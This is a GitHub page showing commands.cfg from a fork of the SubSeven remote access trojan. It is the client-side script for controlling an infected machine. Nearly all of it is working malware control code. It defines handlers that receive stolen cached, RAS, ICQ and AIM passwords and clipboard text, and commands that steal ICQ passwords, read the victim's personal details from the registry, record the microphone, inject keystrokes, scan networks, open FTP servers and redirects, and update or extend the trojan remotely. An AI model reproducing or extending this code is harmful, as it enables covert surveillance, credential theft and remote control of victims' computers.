forked from Seabreg/Subseven
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcommands.cfg
462 lines (406 loc) · 11.2 KB
/
commands.cfg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
#
# ------------ editor colors ------------
# white - known command or function
# red - string
# yellow - variables/custom commands
# green - defines
# blue - comments
#
# you can use usual editor commands like Ctrl+A to select all,
# Ctrl+Y to delete a line, Insert to change the overwrite/insert
# mode, etc.
# the editor also has a 100 limit undo/redo system. use
# Alt+Backspace to undo and Shift+Alt+Backspace to redo
#
# scripting language is similar to the c syntax
# it uses the JEL engine by Justin Tunney
#
# * predefined variables:
# Command - last command received from the server via $OnServerCommand
# CommandOnly - same as above with the trigger trimmed
# ip - current server ip
# path - current path of the client
# downloadfolder - download folder [includes \]
#
# * additional commands
# command(cmd) - sends a command to the server
# editbox(prompt,default) - same as inputbox, returns the entered value
# length(str) - returns the length of the string str
# pos(substr,str) - returns the position of substr in str
# copy(str,from,len) - returns the copied string
# console(str) - adds str to the console
# getdata(ctrl) - returns the data stored by the ctrl control
# setdata(ctrl,newvalue) - changes the ctrl control to the new value
# copypos(froms,tos,str) - returns the copied string
# uploadedfile() - returns the last uploaded file
# run(file) - executes "file"
# openfile() - runs the FileOpen dialog and returns the filename
# play() - play specified WAV file
# AreYouSure(question) - returns 1 if the answer is YES, 0 otherwise
#
# * notes:
# if you need to use more than a function in a define, you MUST have an
# onLoad() function defined. if no function is defined, onLoad is not needed
# example:
# #define m00
# proc doSend()
# Command(cmd)
# end proc
# proc onLoad()
# str cmd
# cmd="m00"
# doSend()
# end proc
# #end
#
$OnServerCommand("cached passwords [")=CachedPasswordsReceived
$OnServerCommand("ras passwords [")=RASPasswordsReceived
$OnServerCommand("icq passwords:")=ICQPasswordsReceived
$OnServerCommand("aim passwords:")=AIMPasswordsReceived
$OnServerCommand("Resolutions:|")=ResolutionsReceived
$OnServerCommand("Volumes: ")=OnGetVolumeSettings
$OnServerCommand("Time/Date: ")=OnGetTimeDate
$OnServerCommand("matrix initiated")=open matrix
$OnServerCommand("clipboard text: ")=DoGetClipboard
$OnServerCommand(">Scan: ")=OnScanResults
$OnServerCommand("stolen icq pass: ")=preceiveicqpass
#define DoClearOnConnectCommands
str s
s=AreYouSure("are you sure you want to clear the OnConnect commands?")
if s="1"
Command("ClearOnConnectCommands")
end if
#end
#define DoChangePort
str s
s=EditBox("new port:","")
if s<>""
Command("ChangePort "+s)
end if
#end
#define DoSetPassword
str s
s=EditBox("new password:","")
if s<>""
Command("ChangePass "+s)
end if
#end
#define DoRemoveServer
str s
s=AreYouSure("are you sure you want to remove server?")
if s="1"
Command("RemoveServer")
end if
#end
#define DoCloseServer
str s
s=AreYouSure("close server? [it will restart on the next reboot]")
if s="1"
Command("CloseServer")
end if
#end
#define DoWebDownload
str url
str file
num valid
valid=1
url=GetData("wd_url")
file=GetData("ed_file")
if url=""
MsgBox("no url specified!")
valid=0
end if
if file=""
MsgBox("no file specified!")
valid=0
end if
if valid=1
Command("DownloadFileFromWeb "+url+" "+file)
end if
#end
#define DoUpdateFromURL
str s
s=EditBox("enter URL to update from:",GetData("update_url"))
if s<>""
Command("UpdateServerFromWeb "+s)
SetData("update_url",s)
end if
#end
#define OnScanResults
SetData("scan_memo",CommandOnly)
Console("remote scanner results received")
#end
#define StartScanner
str ip1,ip2,port,delay
ip1=GetData("scan_ip1")
ip2=GetData("scan_ip2")
port=GetData("scan_port")
delay=GetData("scan_delay")
Command("StartScan "+ip1+" "+ip2+" "+port+" "+delay)
Console("starting remote scanner...")
#end
#define DoT2S
str param
param=GetData("t2s_memo")
Command("Text2Speech "+param)
#end
#define DoPrint
str param
param="PrintText "
param=param+GetData("print_check1")
param=param+GetData("print_check2")
param=param+GetData("print_check3")
param=param+GetData("print_check4")
param=param+GetData("print_font")
param=param+" "
param=param+GetData("print_memo")
Command(param)
#end
#define DoGetClipboard
SetData("CLIPBRD",CommandOnly)
Console("clipboard contents received")
#end
#define DoSetClipboard
Command("SetClipboardText "+GetData("CLIPBRD"))
#end
#define DoFlip
if GetData("flip_1")="1"
Command("FlipScreen 1 0")
end if
if GetData("flip_2")="1"
Command("FlipScreen 0 1")
end if
if GetData("flip_3")="1"
Command("FlipScreen 1 1")
end if
#end
#define DoStartMatrix
str mx
mx="0"
if lowercase(ip)="localhost"
mx="1"
end if
if ip="127.0.0.1"
mx="1"
end if
mx=mx+" "+GetData("MX_COL2")+" "+GetData("MX_COL1")+" "+GetData("MX_MEMO")
Command("StartMatrix "+mx)
#end
#define OnGetTimeDate
str td
td=copypos("Y="," M=",Command)+":"+copypos("M="," D=",Command)+":"+copypos("D=",",T:H=",Command)
SetData("td_eb2",td)
td=copypos("H="," N=",Command)+":"+copypos("N=",".",Command)
SetData("td_eb1",td)
Console("server time and date received")
#end
#define DoSetTime
Command("SetTime "+GetData("td_eb1"))
#end
#define DoSetDate
Command("SetDate "+GetData("td_eb2"))
#end
#define OnGetVolumeSettings
str param
param=CopyPos("1:",",2:",Command)
SetData("vol_Spin1",param)
param=CopyPos("2:",",3:",Command)
SetData("vol_Spin2",param)
param=CopyPos("3:",".",Command)
SetData("vol_Spin3",param)
Console("volume settings received")
#end
#define DoSetVolumeSettings
str s
s=GetData("vol_Spin1")
s=s+" "+GetData("vol_Spin2")
s=s+" "+GetData("vol_Spin3")
Command("SetVolumeSettings "+s)
#end
#define DoChangeColors
str s
s=GetData("WC_COLOR1")
s=s+" "+GetData("WC_COLOR2")
s=s+" "+GetData("WC_COLOR3")
Command("ChangeWindowsColors "+s)
#end
#define DoOpenBrowser
Command("OpenBrowser "+GetData("URL"))
#end
#define ResolutionsReceived
SetData("RES_LB",CommandOnly)
Console("resolutions received")
#end
#define DoChangeResolution
Command("ChangeResolution "+GetData("RES_LB"))
#end
#define ClearSendKeys
SetData("SK_MEMO","")
#end
#define SendTypedKeys
Command("TypeKeys "+GetData("SK_MEMO"))
if GetData("SK_CLEAR")="1"
Command("ClearSendKeys")
end if
#end
#define HelpSendKeys
Run(Path+"help\sendkeys.txt")
#end
#define CachedPasswordsReceived
SetData("CP_MEMO",Command)
Console("cached passwords received")
#end
#define RASPasswordsReceived
SetData("RAS_MEMO",Command)
Console("ras passwords received")
#end
#define ICQPasswordsReceived
SetData("ICQ_MEMO",Command)
Console("icq passwords received")
#end
#define AIMPasswordsReceived
SetData("AIM_MEMO",Command)
Console("aim passwords received")
#end
#define DoRunTelnet
Run("telnet.exe",ip+" "+GetData("AppRedirectPort"))
#end
#define START_PR
Command("SetPortRedirect "+GetData("pr_in")+" "+GetData("pr_host")+" "+GetData("pr_out"))
#end
#define FTP_ON
Command("EnableFTPServer "+GetData("ftp_port")+" "+GetData("ftp_users")+" "+GetData("ftp_folder")+"?"+GetData("ftp_password"))
#end
#define AppRedirectEnable
Command("StartAppRedirect "+GetData("AppRedirectPort"))
#end
#define AppRedirectDisable
Command("StopAppRedirect")
#end
#define display
str s
s=EditBox(Command,"heh")
console(s)
#end
#define pcinfo
Command("open pcinfo")
Command("getpcinfo")
#end
#define installplugin
str fn
fn=OpenFile()
if fn <> ""
Command("UploadFile "+fn)
Command("LoadPlugin "+UploadedFile())
else
Console("install plugin cancelled")
end if
#end
#define DoInstallClientPlugin
str fn
fn=OpenFile()
if fn <> ""
Command("InstallClientPlugin "+fn)
else
Console("no file specified")
end if
#end
#define gethomeinfo
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\Address 1")
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\Address 2")
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\BusinessTitle")
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\City")
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\Company")
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\Country")
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\CustomerType")
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\Email")
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\Name")
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\State")
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\TelephoneCity")
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\TelephoneCountry")
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\TelephoneLocal")
Command("GetRegKey 3\SOFTWARE\Microsoft\Windows\CurrentVersion\ElectronicCommerce\UserInfo\Zip Code")
#end
#define update
str fn
fn=OpenFile()
if fn <> ""
Command("UploadFile "+fn)
Command("UpdateServer "+UploadedFile())
else
Console("update cancelled")
end if
#end
#define geticqfolder
Command("getregkey 2\software\mirabilis\icq\defaultprefs\icqpath")
#end
#define pstealicqpass
Command("stealicqpass")
#end
#define pabout
msgbox("Coded by PreP, [email protected], ICQ 38669583")
#end
#define preceiveicqpass
str old
old=GetData("pstolenicqpassmemo")
SetData("pstolenicqpassmemo",old+"|"+Command)
Console("stolen icq pass received")
#end
#define rwstartrecord
str s
if GetData("rwquality")="0"
s="8"
else
s="16"
end if
Command("recordmic "+str(num(getdata("rwmillisecs"))*1000)+" "+s)
#end
#define rwcalcwavsize
num i
num j
num a
str s
str y
str x
i=num(GetData("rwquality"))
if i=0
s="8"
end if
if i=1
s="16"
end if
x=GetData("rwmillisecs")
a=num(x)
if s="16"
j=a*21.1
end if
if s="8"
j=a*10.6
end if
console("Estimated wav size: "+str(j)+" kb")
#end
#define rwplaywav
play(downloadfolder+ip+"\soundfile.wav")
# play(path+"\download\"+ip+"soundfile.wav")
#end
#define rmstart
if lowercase(ip)<>"127.0.0.1"
if lowercase(ip)<>"localhost"
Command("rmremote")
end if
end if
Command("rmopen")
#end
#define rmstop
Command("rmclose")
#end
#define rmmessage
str mx
mx=GetData("rmmsg")
if mx<>""
Command("rmdisplay "+mx)
else
MsgBox("no text specified")
end
#end
# --- custom ---